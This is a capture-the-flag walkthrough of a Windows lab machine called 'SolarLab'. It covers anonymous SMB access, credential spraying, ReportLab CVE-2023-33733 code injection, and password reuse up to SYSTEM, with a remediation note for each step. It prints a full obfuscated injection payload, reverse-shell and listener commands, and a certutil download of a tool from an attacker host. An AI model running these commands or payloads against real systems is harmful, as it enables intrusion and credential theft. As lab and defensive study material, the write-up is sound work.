← all walkthroughs

SolarLab

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-04
time to own
27m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I used anonymous SMB access to pull a spreadsheet of staff passwords, paired it with usernames guessed from names via a login form that leaked which accounts existed, and logged into an internal PDF-generation portal (ReportHub). ReportHub's PDF engine (ReportLab) was vulnerable to a known code-injection flaw, letting a crafted form field run commands on the server and open a reverse shell as a domain user.

Credentials for a service account recovered from that user's local application database were then used to run a process as that service account, whose OpenFire chat-server configuration held an encrypted copy of the local Administrator password. Decrypting it and reusing it over SMB gave full SYSTEM-level control of the host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceAnonymous SMB share enumeration (T1039 / T1087.002)
Read staff names and passwords from an anonymous SMB share
The 'Documents' share on the host's SMB service allowed anonymous read access. A spreadsheet on the share (details-file.xlsx) listed staff full names alongside their passwords. RID-cycling against SMB independently confirmed local account names including blake, openfire, and Administrator, letting me match names to accounts.
Ports 139/445 open; anonymous smbclient session to //solarlab.htb/Documents downloaded details-file.xlsx containing plaintext passwords.
Exact commands 2
Anonymous (null-session) download of the staff spreadsheet.
smbclient -N //solarlab.htb/Documents -c 'get details-file.xlsx'
Confirm local usernames (blake, openfire, Administrator) via anonymous RID cycling.
netexec smb solarlab.htb -u '' -p '' --rid-brute
FixRemove anonymous access to SMB shares and stop storing plaintext credentials in documentsHigh
WeaknessThe 'Documents' SMB share allowed anonymous (null-session) reads and RID cycling, and a spreadsheet on that share stored staff passwords in plaintext.
FixDisable anonymous/null-session access to SMB (restrict anonymous enumeration via 'Network access: Restrict anonymous access to Named Pipes and Shares' and RestrictAnonymous registry policy), require authentication on all shares, and remove or encrypt any document containing credentials — use a password manager or vault instead.
2ReconnaissanceAuthentication response user enumeration (CWE-203) + credential spraying (T1110.003)
Derived a working username via a user-enumeration flaw in the ReportHub login
The ReportHub web portal (found on a second virtual host, report.solarlab.htb, served on port 6791) returned a different-sized response for a valid username than for an invalid one. Combining candidate usernames derived from the staff names with the passwords from the spreadsheet, I filtered login attempts by response size and identified a valid, working credential pair.
Login response size differed for valid vs invalid usernames; blakeb:[REDACTED: recovered credential] authenticated successfully and returned an authenticated Dashboard (/logout, /leaveRequest, /trainingRequest, /homeOfficeRequest, /travelApprovalForm).
Exact commands 3
Register both discovered virtual hosts.
echo "$TARGET solarlab.htb report.solarlab.htb" | sudo tee -a /etc/hosts
Spray derived usernames against spreadsheet passwords, filtering the invalid-username response size to surface valid accounts.
ffuf -w users.txt:USER -w passwords.txt:PASS -X POST -d 'username=USER&password=PASS' -H 'Content-Type: application/x-www-form-urlencoded' -u http://report.solarlab.htb:6791/login -fs <invalid_user_response_size>
Confirm the recovered credential logs into ReportHub.
curl -sS --resolve report.solarlab.htb:6791:$TARGET -c cookies.txt --data-urlencode 'username=blakeb' --data-urlencode "password=$PASSWORD" http://report.solarlab.htb:6791/login
FixFix the login endpoint to give identical responses for invalid usernames and wrong passwordsMedium
WeaknessThe ReportHub /login endpoint returned different response sizes for valid versus invalid usernames, letting an unauthorised user confirm which usernames existed and filter a credential-spraying attack.
FixReturn a generic, identically-sized error message and HTTP status for both 'unknown user' and 'wrong password' cases, add rate limiting/account lockout or CAPTCHA after repeated failures, and enforce MFA on the portal.
3ExploitationCVE-2023-33733 — ReportLab PDF generation Python code injection (CWE-94)
Achieved remote code execution via a PDF-rendering vulnerability in ReportHub's Training Request form
ReportHub builds PDF documents with the ReportLab Python library. The library's PDF 'color' attribute parser (used when rendering form fields such as Training Type) is vulnerable to CVE-2023-33733, allowing arbitrary Python code — and therefore OS command execution — to run on the server when a crafted value is submitted and rendered into a PDF. The Training Type field truncates long input, so I used a shortened injection payload that still reached the vulnerable code path, executing a PowerShell reverse-shell one-liner and landing a shell as solarlab\blake.
Whoami on the resulting shell returned solarlab\blake; C:\Users\blake\Desktop\user.txt was then readable.
Exact commands 5
Retrieve the Training Request form to obtain field names/tokens.
curl -sS --resolve report.solarlab.htb:6791:$TARGET -b cookies.txt http://report.solarlab.htb:6791/trainingRequest
Submit the CVE-2023-33733 injection in the Training Type field; replace CMD with a base64 PowerShell reverse-shell command to my host:443 (the field truncates, so keep the payload short).
curl -sS --resolve report.solarlab.htb:6791:$TARGET -b cookies.txt --data-urlencode 'trainingType=<font color="[[getattr(pow,W(chr(95)*2+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)*1+chr(95)*2))[chr(111)+chr(115)].system(chr(67)+chr(77)+chr(68)) for W in [o(chr(87),(str,),{chr(109):1,chr(115)+chr(116)+chr(97)+chr(114)+chr(116)+chr(115)+chr(119)+chr(105)+chr(116)+chr(104):lambda s,x:0,chr(95)*2+chr(101)+chr(113)+chr(95)*2:lambda s,x:s.M() and s.m<0 and str(s)==x,chr(77):lambda s:{setattr(s,chr(109),s.m-1)},chr(95)*2+chr(104)+chr(97)+chr(115)+chr(104)+chr(95)*2:lambda s:hash(str(s))})]] for o in [type(type(1))]]">e</font>' -d 'submit=Submit' http://report.solarlab.htb:6791/trainingRequest
Catch the reverse shell triggered when the PDF is rendered server-side.
nc -lvnp 443
Confirm foothold as solarlab\blake before reading the flag.
whoami
<user.txt> — capture only after confirming the whoami output.
type C:\Users\blake\Desktop\user.txt
FixPatch or upgrade ReportLab to remediate CVE-2023-33733Critical
WeaknessReportHub's PDF generation used a version of the ReportLab library whose 'color' attribute parsing allows arbitrary Python code execution from externally controlled form input, giving remote code execution on the server.
FixUpgrade ReportLab to a patched version (4.0.5 or later after the vendor fix) and sanitize/validate all form input before it reaches PDF-generation templates; run the PDF-rendering component in a sandboxed, low-privilege process separate from the main application.
4Credential AccessUnsecured credentials in application database (T1552.001)
Recovered a service account password from blake's local application database
Blake's ReportHub-related application stored its own SQLite database under his Documents folder. That database contained a plaintext credential for the 'alexanderk' identity, which was in fact the password for the local 'openfire' service account, reused across systems.
C:\Users\blake\Documents\app\instance\users.db contained alexanderk:[REDACTED: recovered credential] validated as the openfire account's password over SMB.
Exact commands 2
Or transfer users.db off-host and open with a SQLite browser/sqlite3 CLI to read stored credentials.
type C:\Users\blake\Documents\app\instance\users.db | more
Validate the recovered password against the local 'openfire' account.
netexec smb solarlab.htb -u openfire -p '$PASSWORD4'
FixStop storing service-account credentials in application databases and eliminate password reuseHigh
WeaknessA local application SQLite database on blake's profile stored a plaintext password that was actually the 'openfire' service account's credential, reused across an unrelated identity — letting an unauthorised user pivot from a low-privileged user to that service account.
FixNever store service-account secrets in application data files; use a managed secrets store (Windows Credential Manager, a vault, or environment-scoped secrets) with per-application unique passwords, and rotate the openfire account credential.
5Privilege EscalationValid Accounts — local account switch (T1078.003)
Ran a process as the openfire service account using the recovered password
With a valid password for the local 'openfire' account, I used RunasCs to start an interactive process as that user directly from the blake shell, without needing to touch OpenFire's own web console.
RunasCs staged as C:\programdata\r.exe launched a reverse shell as solarlab\openfire on a second listener.
Exact commands 3
Stage RunasCs.exe onto the host from the blake shell.
certutil -urlcache -f http://$ATTACKER_IP/RunasCs.exe C:\programdata\r.exe
Launch a shell as solarlab\openfire using the recovered service-account password.
C:\programdata\r.exe openfire '$PASSWORD4' "powershell -e <base64_reverse_shell_to_ATTACKER:444>" --logon-type 5 --bypass-uac
Catch the openfire-context shell.
nc -lvnp 444
6Privilege EscalationCredentials from application configuration store + password reuse (T1552.001 / T1078.001)
Decrypted the local Administrator password from OpenFire's embedded database
OpenFire, running as the openfire account, stores its own admin credential encrypted in its embedded HSQL database file using Blowfish/CBC, with the key derived from a '[REDACTED: recovered credential]' property also present in the same file. Reading both values out of openfire.script and decrypting them recovered a plaintext password — which turned out to be the local Windows Administrator account's password, reused between the OpenFire admin console and the OS.
C:\Program Files\Openfire\embedded-db\openfire.script held the encrypted 'admin' ofUser password and the [REDACTED: recovered credential] [REDACTED: recovered credential] decryption yielded [REDACTED: recovered credential] later confirmed as the local Administrator password.
Exact commands 2
From the openfire shell, extract the encrypted admin password and the [REDACTED: recovered credential] property.
type "C:\Program Files\Openfire\embedded-db\openfire.script" | findstr /i "passwordKey ofUser"
Decrypt using Blowfish/CBC with key=SHA1([REDACTED: recovered credential]) and IV=first block (per public openfire_decrypt tooling) to recover the plaintext password.
python3 openfire_decrypt.py --key $PASSWORD3 --ciphertext <encrypted_admin_password>
FixDo not reuse the local Administrator password for an application account and stop storing it reversiblyCritical
WeaknessOpenFire stored its own admin password using reversible encryption with a static, extractable key in openfire.script, and that password was identical to the host's local Administrator password.
FixRotate the OpenFire admin credential and the local Administrator password so they are unique and unrelated; store OpenFire's key material outside the application directory with restricted ACLs, and disable or firewall the OpenFire admin console (127.0.0.1:9090) from being reachable by low-privileged accounts.
7Full CompromisePsExec-style lateral movement / remote service execution (T1021.002, T1569.002)
Reused the decrypted password to authenticate as local Administrator and execute as SYSTEM
The decrypted OpenFire admin password was valid for the local Windows Administrator account. Using it against SMB/RPC to authenticate and execute a service binary through impacket-psexec gave a command shell as NT AUTHORITY\SYSTEM, completing full compromise of the host.
Impacket-psexec authenticated as Administrator, uploaded a service binary over ADMIN$, and executed cmd.exe reading C:\Users\Administrator\Desktop\root.txt.
Exact commands 3
Confirm the decrypted password is valid for the local Administrator account (Pwn3d!).
netexec smb solarlab.htb -u Administrator -p '$PASSWORD2'
Obtain a SYSTEM-level shell via ADMIN$ service execution.
impacket-psexec Administrator:'$PASSWORD2'@$TARGET
<root.txt> — capture only after confirming SYSTEM/Administrator access.
type C:\Users\Administrator\Desktop\root.txt
FixRestrict SMB/ADMIN$ remote service execution and monitor for PsExec-style lateral movementHigh
WeaknessThe Administrator account's credential could be used directly against SMB/RPC to upload and execute a service binary via ADMIN$, giving a full SYSTEM shell with no additional controls.
FixRestrict remote SMB admin-share access to a dedicated jump host, enable Windows Defender Credential Guard and disable NTLM where possible, require signed SMB, and alert on new-service-creation events (Event ID 7045) and ADMIN$ writes from unexpected hosts.

Exposed services

80/tcp
135/tcp
139/tcp
445/tcp
6791/tcp
7680/tcp